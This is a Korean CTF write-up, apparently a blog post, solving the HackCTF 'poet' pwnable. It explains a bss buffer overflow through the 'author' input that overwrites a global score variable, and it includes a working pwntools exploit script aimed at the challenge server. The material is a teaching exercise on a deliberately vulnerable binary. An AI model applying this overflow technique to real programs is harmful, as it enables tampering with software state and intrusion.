문제 풀이 환경 : ubuntu 18.04 |
오래걸릴 뻔...
주어진 파일은 문제 바이너리 파일
Analysis
일단 실행하면 아래와 같다.
뭔가 1000000점이면 flag를 줄 것같은 느낌
IDA로 열어보자.
참고로 저기 보이는 score 변수는 전역변수다.
score 변수가 1000000이면 while문을 탈출하여 reward() 함수를 실행하게 되는데 reward() 함수는 flag를 출력해준다.
처음에 strcpy함수에서 bof를 일으켜서 뭐 어찌어찌 할 생각을 하였다.
CTF 글자 열심히 보냈는데 세폴 떴음ㅋ
How to exploit
score,poem, author 변수는 다 전역변수이다. 같은 bss영역에 위치한다.
poem과 author를 입력받을 때 둘 다 bof가 일어난다.
author를 입력받을 때 bof를 일으켜서 score를 1000000으로 수정해주었다.
poem을 입력받을때는 왜 안되냐면 poem을 입력받고 score을 0으로 만들어주기 때문이다 ㅎㅎ;
Let's exploit
from pwn import *
#p = process('./poet')
p = remote('ctf.j0n9hyun.xyz', 3012)
e = ELF('./poet')
payload = ''
payload += 'AAAA'
p.sendlineafter('> ',payload)
payload = ''
payload += 'A' * 0x40
payload += p64(1000000)
p.sendlineafter('> ', payload)
p.interactive()
와 2018년 시인 상 받았다~
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] Random key 풀이 (rand) (0) | 2021.03.25 |
---|---|
[HackCTF : Pwnable] 1966 풀이 (cpp, BOF) (0) | 2021.03.24 |
[HackCTF : Pwnable] g++ pwn 풀이 (CPP) (0) | 2021.03.16 |
[HackCTF : Pwnable] RTL_World 풀이 (32bit, RTL) (0) | 2021.03.16 |
[HackCTF : Pwnable] Yes or no 풀이 (64bit, ROP) (미완) (0) | 2021.03.15 |